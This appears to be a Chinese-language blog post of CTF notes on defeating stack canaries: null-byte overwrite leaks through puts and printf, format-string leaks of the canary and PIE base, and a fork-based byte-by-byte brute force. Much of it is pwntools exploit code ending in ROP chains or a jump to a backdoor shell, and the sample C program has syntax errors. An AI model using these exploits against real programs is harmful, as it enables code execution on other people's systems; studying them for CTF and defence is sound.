泄露Canary一些方法

canary

低位覆盖+输出缓冲区

(程序存在puts函数,puts函数输出一段缓冲区,我们通过缓冲区把\x00覆盖就没有终止符,直接输出canary:
canary介绍:一串十六进制数存在\x00部分,我们需要将其覆盖掉,即在缓冲区基础上尝试多加1个或两个字节。
因为这里不确定到底存在多少个空值,有两种解决方法,1是编写循环脚本,2是多试几次,每次canary值是不一样的。

read+printf低位覆盖

原码

read(xx,buf,xx)   //buf追踪栈从0x20开始
print("%s,xxxx",buf)  //也可以是put(buf)
//填充一位
def get_canary_0(io):
	io.send(flat([
		b"a"*(0x20 - 0x8),   #0x20:你输入的位置,0x8:canary变量的位置
		b"g"
	]))
	io.recvuntil(b"g")
	canary = u64(b'\x00' + io.recv(7))
	print("[+] canary: ",hex(canary))

输入位置判断:

 read(0, &nbytes[4], *(unsigned int *)nbytes);
printf(&nbytes[4]);

-0000000000000054     char nbytes[72];
-000000000000000C     // padding byte
-000000000000000B     // padding byte
-000000000000000A     // padding byte
-0000000000000009     // padding byte
-0000000000000008     _QWORD var_8;

输入位置:0x54-0x4=0x50
所以有:
io.send(flat([
		b"a"*(0x50 - 0x8),   #0x20:你输入的位置,0x8:canary变量的位置
		b"g"
	]))

格式化漏洞泄露

64位

通过偏移泄露

io.sendline(b'aaaa-%x-%x-%X-%x-%x-%x-%x-%x')判断偏移量
def split:
def get_canary(io,canary)
	io.sendline(b'%23$p')#获取栈空间上第23个位置的值
	canary = int(io.recvuntil(b"\n"), 16)
	success("找到金丝雀值",hex(canary))

通过偏移泄露canary+pie

def get_canary_and_pie(io):
    io.sendline(b'%17$p-%25$p')#获取栈空间上第23个位置的值
    data = io.recvuntil(b'\n').strip()
    canary_bytes, pie_addr_bytes = data.split(b'-')
    canary = int(canary_bytes, 16)
    pie_base = int(pie_addr_bytes, 16) - elf.sym['main']  # PIE基址 = main地址 - main偏移
    success(f"金丝雀(canary): {hex(canary)}")
    success(f"PIE基址: {hex(pie_base)}")
    return canary, pie_base
canary, pie_base = get_canary_and_pie(io)

思路-确定金丝雀值

  • 输入aaaaaaaa:判断偏移量
  • 查看canary和buf的距离,可用gdb调试,查看栈确定
  • 泄露canary

思路-特殊字符确定泄露

 printf("what you want in init");
 read(0, buf, 0x100uLL);
 printf("%s. thank you", buf);
payload = b'a' * 0x18 + b'M'	#0x18刚好覆盖完缓冲区,再加一个字符覆盖\x00
io.sendafter("what you want in init" , payload)
io.recvuntil(b'a' * 0x18)
canary = u64(io.recv(8)) - ord("M")

64位

payload = b'a' * (0x240-0x8) + b'M'	#0x18刚好覆盖完缓冲区,再加一个字符覆盖\x00
io.sendafter("what you want in init" , payload)
io.recvuntil(b'a' * (0x240-0x8))
canary = u64(io.recv(8)) - ord("M")
log.success(hex(canary))

payload =  b'a' * (0x240-0x8)+p64(canary)+p64(0)+p64(prdi_ret)+p64(bin_addr)+p64(sys_addr)

fork爆破

原理

pid_t fork(void)

该函数的作用如下:
创建一个新进程,操作系统会复制父进程的地址空间中的内容给子进程。
调用fork函数后,子进程与父进程的执行顺序是无法确定的。
子进程无法通过fork()创建子进程。

该函数有三种返回值:
(1)在父进程中,fork返回新创建子进程的ID;
(2)在子进程中,fork返回0;
(3)如果出现错误,fork返回一个负值。

源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdlib.h>

void inits()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
}
void backdoor()
{
    system("/bin/sh\x00");
}
void func()
{
    puts("Input your name:");
    char buf[0x20];
    read(0,buf,0x60);
}
int main(void)
{
    inits();
    pid_t pid=0;
    while(1)
    {
        pid=fork()
        if(pid<0)
        {
            printf("Error!");
            exit(0)'
        }
        if(pid==0)//爆破正确会执行这个。
        {
            func();
            puts("Good!");
        }
        else
            wait();
    }
    return 0;
}
\x77\x77\x77\x77\x77\x77\x77\x00

由于完全会复制父进程的内存布置情况,且一个数据是8字节,最后一位固定,所以我们需要爆破前七位,exp如下:

canary='\x00'
for j in range(7):
    for i in range(0x100):
        io.send(b'a'*0x28+canary+chr(i))
        a=io.recvuntil(b'Input your name:\n')
        if 'Good' in a:
            canary+= chr(i)
            print(hex(u64(canary.ljust(8,b'\x00'))))
            break
print(hex(u64(canary)))
io.sendline(b'a'*0x28+canary+p64(0)+p64(backdoor_addr))
io.interactive()
posted @ 2026-05-17 09:32  MillionMind  阅读(25)  评论(0)    收藏  举报